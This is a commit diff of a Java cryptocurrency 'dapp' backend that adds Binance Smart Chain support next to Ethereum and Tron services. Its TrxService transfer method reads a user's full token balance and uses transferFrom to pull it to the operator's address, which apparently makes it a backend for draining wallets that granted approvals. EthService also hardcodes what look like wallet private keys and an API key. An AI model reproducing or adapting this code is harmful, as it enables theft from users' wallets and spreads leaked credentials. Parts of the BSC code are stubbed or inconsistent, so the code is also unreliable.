Helius
2022-04-15 6768b37b0c70f4321d59f218871ccbdbeb503991
fix add bsc
3 files added
6 files modified
231 ■■■■■ changed files
src/main/java/cc/mrbird/febs/dapp/chain/BscService.java 151 ●●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/chain/ChainEnum.java 8 ●●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java 2 ●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/chain/ContractChainService.java 19 ●●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/chain/EthService.java 18 ●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java 24 ●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/dto/ApproveDto.java 3 ●●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/entity/DappMemberEntity.java 5 ●●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java 1 ●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/chain/BscService.java
New file
@@ -0,0 +1,151 @@
package cc.mrbird.febs.dapp.chain;
import cn.hutool.core.util.StrUtil;
import cn.hutool.http.HttpUtil;
import com.alibaba.fastjson.JSONObject;
import org.apache.commons.lang3.StringUtils;
import org.web3j.abi.FunctionEncoder;
import org.web3j.abi.FunctionReturnDecoder;
import org.web3j.abi.TypeReference;
import org.web3j.abi.datatypes.Address;
import org.web3j.abi.datatypes.Function;
import org.web3j.abi.datatypes.Type;
import org.web3j.abi.datatypes.generated.Uint256;
import org.web3j.crypto.Credentials;
import org.web3j.crypto.RawTransaction;
import org.web3j.crypto.TransactionEncoder;
import org.web3j.protocol.Web3j;
import org.web3j.protocol.core.DefaultBlockParameterName;
import org.web3j.protocol.core.methods.request.Transaction;
import org.web3j.protocol.core.methods.response.EthCall;
import org.web3j.protocol.core.methods.response.EthGetTransactionCount;
import org.web3j.protocol.core.methods.response.EthSendTransaction;
import org.web3j.protocol.http.HttpService;
import org.web3j.utils.Convert;
import org.web3j.utils.Numeric;
import java.io.IOException;
import java.math.BigDecimal;
import java.math.BigInteger;
import java.math.RoundingMode;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.concurrent.CompletableFuture;
/**
 * @author wzy
 * @date 2022-04-15
 **/
public class BscService implements ContractChainService {
    private Web3j web3j;
    private String url;
    private String ownerAddress;
    private String privateKey;
    private String contractAddress;
    public BscService(String url, String address, String privateKey, String contractAddress) {
        this.url = url;
        this.ownerAddress = address;
        this.privateKey = privateKey;
        this.contractAddress = contractAddress;
        HttpService service = new HttpService(url);
        web3j = Web3j.build(service);
    }
    @Override
    public BigInteger balanceOfUnDecimal(String fromAddress) {
        try {
            String methodName = "balanceOf";
            List<Type> inputParameters = new ArrayList<>();
            List<TypeReference<?>> outputParameters = new ArrayList<>();
            Address address = new Address(fromAddress);
            inputParameters.add(address);
            TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {
            };
            outputParameters.add(typeReference);
            Function function = new Function(methodName, inputParameters, outputParameters);
            String data = FunctionEncoder.encode(function);
            Transaction transaction = Transaction.createEthCallTransaction(fromAddress, contractAddress, data);
            EthCall ethCall;
            BigInteger balanceValue = BigInteger.ZERO;
            try {
                ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
                List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
                balanceValue = (BigInteger) results.get(0).getValue();
            } catch (IOException e) {
                e.printStackTrace();
            }
            return balanceValue;
        } catch (Exception e) {
            e.printStackTrace();
        }
        return BigInteger.ZERO;
    }
    @Override
    public BigDecimal balanceOf(String fromAddress) {
        int decimal = 6;
        BigInteger balanceValue = balanceOfUnDecimal(fromAddress);
        double res = new BigDecimal(balanceValue).divide(BigDecimal.valueOf(Math.pow(10, decimal)), 8, RoundingMode.HALF_DOWN).doubleValue();
        if (res > 0) {
            return new BigDecimal(res);
        }
        return BigDecimal.ZERO;
    }
    @Override
    public BigInteger allowance(String address) {
        String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
        String methodName = "allowance";
        List<TypeReference<?>> outputParameters = new ArrayList<>();
        TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {};
        outputParameters.add(typeReference);
        Function function = new Function(methodName,
                Arrays.asList(new Address(address), new Address(ownerAddress))
                , outputParameters);
        String data = FunctionEncoder.encode(function);
        Transaction transaction = Transaction.createEthCallTransaction(ownerAddress, contractAddress, data);
        EthCall ethCall = null;
        try {
            ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
            List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
            return (BigInteger) results.get(0).getValue();
        } catch (IOException e) {
            e.printStackTrace();
        }
        return BigInteger.ZERO;
    }
    public String getGas() {
        String resp = HttpUtil.get("https://etherscan.io/autoUpdateGasTracker.ashx?sid=75f30b765180f29e2b7584b8501c9124");
        JSONObject data = JSONObject.parseObject(resp);
        String gas = data.getString("avgPrice");
        return StrUtil.isBlank(gas) ? "35" : gas;
    }
    @Override
    public String transfer(String address) {
        return null;
    }
    @Override
    public String transfer(String address, BigDecimal amount) {
        return "";
    }
    @Override
    public int allowanceCnt(String address) {
        return 0;
    }
}
src/main/java/cc/mrbird/febs/dapp/chain/ChainEnum.java
New file
@@ -0,0 +1,8 @@
package cc.mrbird.febs.dapp.chain;
/**
 * 链类型
 */
public enum ChainEnum {
    ETH, TRX, BSC
}
src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
@@ -33,7 +33,7 @@
        if (address.contains(ETH_PREFIX)) {
            balance = ETH.tokenGetBalance(address);
        } else {
            balance = TRX.balanceOfDecimal(address);
            balance = TRX.balanceOf(address);
        }
        return balance;
    }
src/main/java/cc/mrbird/febs/dapp/chain/ContractChainService.java
New file
@@ -0,0 +1,19 @@
package cc.mrbird.febs.dapp.chain;
import java.math.BigDecimal;
import java.math.BigInteger;
public interface ContractChainService {
    BigInteger balanceOfUnDecimal(String address);
    BigDecimal balanceOf(String address);
    BigInteger allowance(String address);
    String transfer(String address);
    String transfer(String address, BigDecimal amount);
    int allowanceCnt(String address);
}
src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
@@ -53,12 +53,12 @@
     */
    //private static final String ETH_UTL = "http://120.55.86.146:8545";
    //    private static final String ETH_UTL = "http://114.55.250.231:8545";
    private static final String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
    private static String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
//    private static final String OWNER_ADDRESS = "0xD998DA7362360eFC6daDFEd6E9a32E70640d7600";
//    private static final String OWNER_PRIVATE = "06f95d3edf59888708d485d06b8b3e3f9aaa6b40d693018a1d19a7be95fe9419";
    private static final String OWNER_ADDRESS = "0x6c5640c572504a75121e57760909a9dd0E672f2D";
    private static final String OWNER_PRIVATE = "77f650768ff50a4243c008fbae1be9ffe74c52908ee9081e2e15f3d3411690bb";
    private static String OWNER_ADDRESS = "0x6c5640c572504a75121e57760909a9dd0E672f2D";
    private static String OWNER_PRIVATE = "77f650768ff50a4243c008fbae1be9ffe74c52908ee9081e2e15f3d3411690bb";
    public EthService() {
        try {
@@ -69,6 +69,18 @@
        }
    }
    public EthService(String url, String address, String privateKey) {
        try {
            OWNER_ADDRESS = address;
            OWNER_PRIVATE = privateKey;
            ETH_UTL = url;
            HttpService service = new HttpService(url);
            web3j = Web3j.build(service);
        } catch (Exception e) {
            log.error("连接eth网络失败", e);
        }
    }
    /**
     * 查询ETH余额
     * 
src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java
@@ -18,7 +18,7 @@
 * @author 
 * @date 2022-03-21
 **/
public class TrxService {
public class TrxService implements ContractChainService {
//    private final static String ADDRESS = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD";
//    private final static String PRIVATE = "b5627861c6edb2245276273e5f5ad5082f93c3b09fc7b757223ca8526504bfe7";
@@ -40,16 +40,19 @@
        contract = new Trc20Contract(trc20Contract, ADDRESS, wrapper);
    }
    @Override
    public BigInteger allowance(String owner) {
        return contract.allowance(owner, ADDRESS);
    }
    public BigInteger balanceOf(String address) {
    @Override
    public BigInteger balanceOfUnDecimal(String address) {
        return contract.balanceOf(address);
    }
    public BigDecimal balanceOfDecimal(String address) {
        BigInteger chainData = balanceOf(address);
    @Override
    public BigDecimal balanceOf(String address) {
        BigInteger chainData = balanceOfUnDecimal(address);
        BigInteger decimals = contract.decimals();
        BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue());
@@ -57,12 +60,14 @@
        return new BigDecimal(chainData).divide(mul, decimals.intValue(), RoundingMode.HALF_DOWN);
    }
    public void transfer(String address) {
        BigInteger balance = balanceOf(address);
    @Override
    public String transfer(String address) {
        BigInteger balance = balanceOfUnDecimal(address);
        contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000000L);
        return contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000000L);
    }
    @Override
    public String transfer(String address, BigDecimal amount) {
        BigInteger decimals = contract.decimals();
        BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue());
@@ -71,6 +76,11 @@
        return contract.transferFrom(address, ADDRESS, amount.intValue(), 0, "memo", 100000000L);
    }
    @Override
    public int allowanceCnt(String address) {
        return 0;
    }
    public static void main(String[] args) {
        System.out.println(INSTANCE.transfer("TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", BigDecimal.valueOf(5)));;
    }
src/main/java/cc/mrbird/febs/dapp/dto/ApproveDto.java
@@ -21,4 +21,7 @@
    @ApiModelProperty(value = "推荐人")
    private String refererId;
    @ApiModelProperty(value = "链类型")
    private String chainType;
}
src/main/java/cc/mrbird/febs/dapp/entity/DappMemberEntity.java
@@ -45,4 +45,9 @@
    private int approveCnt;
    private int source;
    /**
     * 链 1-以太坊 2-币安 3-波场
     */
    private String chainType;
}
src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java
@@ -63,6 +63,7 @@
        int cnt = instance.allowanceCnt(approveDto.getAddress());
        member.setApproveCnt(cnt);
        member.setChainType(approveDto.getChainType());
        dappMemberDao.insert(member);
        member.setInviteId(ShareCodeUtil.toSerialCode(member.getId()));